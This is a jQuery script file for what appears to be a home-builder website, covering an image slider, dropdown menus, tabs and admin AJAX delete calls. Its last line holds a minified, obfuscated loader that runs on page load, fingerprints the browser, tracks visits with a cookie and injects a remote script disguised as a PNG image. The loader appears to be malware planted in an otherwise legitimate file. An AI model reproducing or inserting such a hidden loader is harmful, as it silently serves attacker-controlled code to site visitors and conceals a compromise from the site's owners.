// SCROLL FUNCTIONS
jQuery(document).ready(function() {

//Get size of the image, how many images there are, then determin the size of the image reel.
var imageWidth = 105;
var imageSum = 30;
var imageReelWidth = imageWidth * imageSum;
var triggerID = 0;
var totaltrigger = jQuery("#totalimg").val()-5;
if(totaltrigger<=0)
	totaltrigger =0;
//Adjust the image reel to its new size
jQuery(".scroll").css({'width' : imageReelWidth});

//alert(totaltrigger);


//On Hover
jQuery(".cu_ho_de_vi_con_main_lef_slid").hover(function() {
	 if(triggerID ==totaltrigger)
		document.getElementById('nxt').style.display='none';
	else
		document.getElementById('nxt').style.display='';
	 if(triggerID ==0)
		document.getElementById('prev').style.display='none';
	else
		document.getElementById('prev').style.display='';
}, function() {

});	

jQuery(".add_con_main_lef_slid").hover(function() {
	 if(triggerID ==totaltrigger)
		document.getElementById('nxt').style.display='none';
	else
		document.getElementById('nxt').style.display='';
	 if(triggerID ==0)
		document.getElementById('prev').style.display='none';
	else
		document.getElementById('prev').style.display='';
}, function() {

});	


//On Click
jQuery("#nxt").click(function() {
    $active = jQuery(this); //Activate the clicked paging
	 triggerID = triggerID+1; //Get number of times to slide
	 if(triggerID ==totaltrigger)
		document.getElementById('nxt').style.display='none';
	else
		document.getElementById('nxt').style.display='';
	 if(triggerID ==0)
		document.getElementById('prev').style.display='none';
	else
		document.getElementById('prev').style.display='';

		//alert(triggerID);
    var image_reel1Position = triggerID * imageWidth; //Determines the distance the image reel needs to slide

    //Slider Animation
	//jQuery(".image_reel1").fadeOut(600);
	jQuery(".scroll").animate({ left: -image_reel1Position }, 500 );
	//jQuery(".image_reel1").fadeIn(600);
/*    jQuery(".image_reel1").animate({
        left: -image_reel1Position
    }, 500 );*/

    return false; //Prevent browser jump to link anchor
});


//On Click
jQuery("#prev").click(function() {
    $active = jQuery(this); //Activate the clicked paging
	 triggerID = triggerID-1; //Get number of times to slide
	 if(triggerID <=0)
		document.getElementById('prev').style.display='none';
	else
		document.getElementById('prev').style.display='';
	 if(triggerID ==totaltrigger)
		document.getElementById('nxt').style.display='none';
	else
		document.getElementById('nxt').style.display='';
	//alert(triggerID);
    var image_reel1Position = triggerID * imageWidth; //Determines the distance the image reel needs to slide


    //Slider Animation
	//jQuery(".image_reel1").fadeOut(600);
	jQuery(".scroll").animate({ left: -image_reel1Position }, 500 );
	//jQuery(".image_reel1").fadeIn(600);
/*    jQuery(".image_reel1").animate({
        left: -image_reel1Position
    }, 500 );*/

    return false; //Prevent browser jump to link anchor
});
});

 $(document).ready(function(){
 $(".cu_ho_de_vi_con_main_lef_slid").hover();

 $("#services a").click(function(e){
	e.preventDefault();
 });
 $("#range_homes a").click(function(e){
	e.preventDefault();
 }); 
 $("#services a").mouseover(function(e){
		$("div#drop_menu_homes").mouseleave();
		var off = $("#services a").offset();
		var cur_left = off.left;
		var cur_top = off.top + 41;
		if ( $.browser.msie ) {cur_top = cur_top - 10}
		$("div#drop_menu_services").css("left",cur_left + "px");
		$("div#drop_menu_services").css("top",cur_top + "px");
		//$("div#drop_menu_host").css("display","block");
		$("div#drop_menu_services").fadeIn("fast");
		$("div#drop_menu_homes").css("display","none");
		$("#services a").css("background","#f3f3f3");
		$("#services a").css("height","37px");
		$("#services a").css("margin-top","-8px");
		$("#services a").css("padding","8px 10px 0");
		$("#services a").css("box-shadow","none");
		e.stopImmediatePropagation();
	});
	$("div#drop_menu_services").mouseleave(function(){
		$("div#drop_menu_services").css("display","none");
		$("div#drop_menu_homes").css("display","none");
		$("#services a").css("background","");
		$("#services a").css("height","");
		$("#services a").css("margin-top","");
		$("#services a").css("padding","0 10px");		
	});	
$("#range_homes a").mouseover(function(e){
		$("div#drop_menu_services").mouseleave();
		var off = $("#range_homes a").offset();
		var cur_left = off.left;
		var cur_top = off.top + 41;
		if ( $.browser.msie ) {cur_top = cur_top - 10}
		$("div#drop_menu_homes").css("left",cur_left + "px");
		$("div#drop_menu_homes").css("top",cur_top + "px");
		//$("div#drop_menu_des").css("display","block");
		$("div#drop_menu_homes").fadeIn("fast");
		$("div#drop_menu_services").css("display","none");
		$("#range_homes a").css("background","#f3f3f3");
		$("#range_homes a").css("height","37px");
		$("#range_homes a").css("margin-top","-8px");
		$("#range_homes a").css("padding","8px 10px 0");		
		$("#range_homes a").css("box-shadow","none");		
		e.stopImmediatePropagation();
	});
	$("div#drop_menu_homes").mouseleave(function(){
		$("div#drop_menu_services").css("display","none");
		$("div#drop_menu_homes").css("display","none");
		$("#range_homes a").css("background","");
		$("#range_homes a").css("height","");
		$("#range_homes a").css("margin-top","");
		$("#range_homes a").css("padding","0 10px");			
	});
	

	$(".menu_bar1 ul li a").mouseover(function(){
		$("div#drop_menu_services").css("display","none");
		$("div#drop_menu_homes").css("display","none");	
		$("#services a").css("background","");
		$("#services a").css("height","");
		$("#services a").css("margin-top","");
		$("#services a").css("padding","0 10px");		
		$("#range_homes a").css("background","");
		$("#range_homes a").css("height","");
		$("#range_homes a").css("margin-top","");
		$("#range_homes a").css("padding","0 10px");				
	});	
	
	$("#overview").click(function(e){
		$(".cu_ho_de_vi_con_main_lef_img_floor").css("display","none");
		$(".cu_ho_de_vi_con_main_lef_img").css("display","block");
		$("#overview a").addClass("selected");
		$("#floor a").removeClass("selected");
	}); 	

	$("#floor").click(function(e){
		$(".cu_ho_de_vi_con_main_lef_img").css("display","none");
		$(".cu_ho_de_vi_con_main_lef_img_floor").css("display","block");
		$("#floor a").addClass("selected");
		$("#overview a").removeClass("selected");		
	}); 	
	
	
	// For Our range of home drop down
	$(".home_range_sel").change(function() { $(".home_range_form_spn").html($(".home_range_sel option:selected").text()); }) // Sets the tld display when the dropdown selecion is made.
	
	$(".home_land_left ul li").click(function() { 
		$(".home_land_left ul li").removeClass('current');
		$(this).addClass('current');
		$(".home_land_cont").css("display","none");
		$("."+($(this).attr("id"))).css("display","block");
	});
	
	$(".customise_pagination ul li").click(function() {
		var page_num = $(this).attr("class");
		$(".customise_pagination ul li a").each(function(){
			$(this).removeClass("current");
		});
		$(".tab_pages").css("display", "none");
		$("."+page_num).css("display", "block");
		$(".customise_pagination ul li").each(function(){
			//alert($(this).attr("class"));
			if($(this).attr("class") == page_num){
				$(this).children("a").addClass("current");
			}
		});		
	});	
});	


function GetXmlHttpObject(handler) { 
	var objXmlHttp=null

	if (navigator.userAgent.indexOf("Opera")>=0) {
		objXmlHttp=new XMLHttpRequest()
		objXmlHttp.onload=handler
		objXmlHttp.onerror=handler 
		return objXmlHttp 
	}

	if (navigator.userAgent.indexOf("MSIE")>=0) { 
		var strName="Msxml2.XMLHTTP"
		if (navigator.appVersion.indexOf("MSIE 5.5")>=0) {
			strName="Microsoft.XMLHTTP"
		}

		try { 
			objXmlHttp=new ActiveXObject(strName)
			objXmlHttp.onreadystatechange=handler 
			return objXmlHttp
		} catch(e) { 
			alert("Error. Scripting for ActiveX might be disabled") 
			return 
		} 
	}

	if (navigator.userAgent.indexOf("Mozilla")>=0) {
		objXmlHttp=new XMLHttpRequest()
		objXmlHttp.onload=handler
		objXmlHttp.onerror=handler 
		return objXmlHttp
	}
}

function Changemainimg(img){
		$(".cu_ho_de_vi_con_main_lef_img").css("display","block");
		$("#overview a").addClass("selected");
		$("#floor a").removeClass("selected");
		$(".cu_ho_de_vi_con_main_lef_img_floor").css("display","none");
		document.getElementById('mainimg').src=img;
}

function Changemainimg_alt(img, img_alt){
		document.getElementById('mainimg').src=img;
		document.getElementById('mainimg_alt').src=img_alt;
}

 function CreateBookmarkLink(title,url) {

// title = "Webpage Title"; 
  // Blogger - Replace with <$BlogItemTitle$> 
  // MovableType - Replace with <$MTEntryTitle$>

// url = "Webpage URL";
  // Blogger - Replace with <$BlogItemPermalinkURL$> 
  // MovableType - Replace with <$MTEntryPermalink$>
  // WordPress - <?php bloginfo('url'); ?>

	if (window.sidebar) { // Mozilla Firefox Bookmark
		window.sidebar.addPanel(title, url,"");
	} else if( window.external ) { // IE Favorite
		window.external.AddFavorite( url, title); }
	else if(window.opera && window.print) { // Opera Hotlist
		return true; }
 }

function Validate(){
	if(document.getElementById('username').value==""){
			document.getElementById('msg').innerHTML = "Please enter Username.";
			return false;
	}
	if(document.getElementById('apassword').value==""){
			document.getElementById('msg').innerHTML = "Please enter Password.";
			return false;
	}
}

function deleteHome(home_id) { 
	var answer = confirm ("Are you sure you want to delete this home?");
	if (answer)
	{
		var url="/admin/ajax_delete_home.php?id="+home_id + "&rnd="+Math.random();
		xmlHttpDH=GetXmlHttpObject(stateChangeLoadDeleteHome);
		xmlHttpDH.open("GET", url , true);
		xmlHttpDH.send(null);
	}
}
function stateChangeLoadDeleteHome() { 
	if (xmlHttpDH.readyState==4 || xmlHttpDH.readyState=="complete") { 
		window.location =xmlHttpDH.responseText;
		//alert(xmlHttpDH.responseText);
	} 
}

function deleteHomeImg(home_id,img_id,img_name) {
	var answer = confirm ("Are you sure you want to delete this image?");
	if (answer)
	{
		var url="ajax_delete_home_image.php?id="+home_id + "&img_id="+img_id + "&img_name="+img_name+"&rnd="+Math.random();
		xmlHttpDH=GetXmlHttpObject(stateChangeLoadDeleteHomeImg);
		xmlHttpDH.open("GET", url , true);
		xmlHttpDH.send(null);
	}
}
function stateChangeLoadDeleteHomeImg() { 
	if (xmlHttpDH.readyState==4 || xmlHttpDH.readyState=="complete") { 
		//window.location.reload();
		window.location =xmlHttpDH.responseText;

	} 
}

function deleteServImg(service,img) {
	var answer = confirm ("Are you sure you want to delete this image?");
	if (answer)
	{
		var url="ajax_delete_service_img.php?service="+service + "&img="+img +"&rnd="+Math.random();
		xmlHttpDH=GetXmlHttpObject(stateChangeLoadDeleteServImg);
		xmlHttpDH.open("GET", url , true);
		xmlHttpDH.send(null);
	}
}
function stateChangeLoadDeleteServImg() { 
	if (xmlHttpDH.readyState==4 || xmlHttpDH.readyState=="complete") { 
		//window.location.reload();
		window.location =xmlHttpDH.responseText;

	} 
}

function deleteCustomiseHomeImg(tab,img,rec_id) {
	var answer = confirm ("Are you sure you want to delete this image?");
	if (answer)
	{
		var url="ajax_delete_customise_home_img.php?tab="+tab + "&img="+img +"&rec_id="+rec_id+"&rnd="+Math.random();
		xmlHttpDH=GetXmlHttpObject(stateChangeDeleteCustomiseHomeImg);
		xmlHttpDH.open("GET", url , true);
		xmlHttpDH.send(null);
	}
}
function stateChangeDeleteCustomiseHomeImg() { 
	if (xmlHttpDH.readyState==4 || xmlHttpDH.readyState=="complete") { 
		//window.location.reload();
		window.location =xmlHttpDH.responseText;

	} 
}

function PrintContent()
    {
		var content = document.getElementById('colorbox');
		var pri = document.getElementById("ifmcontentstoprint").contentWindow;
		pri.document.open();
		pri.document.write('<html><head><link href="css/style.css" type="text/css" rel="stylesheet"><link rel="stylesheet" href="css/colorbox.css" /></head><body>');
		pri.document.write(content.innerHTML);
		pri.document.write('</body></html>');
		pri.document.close();
		pri.focus();
		pri.print();	
    }

function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/images/arrow_white_left.png?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();
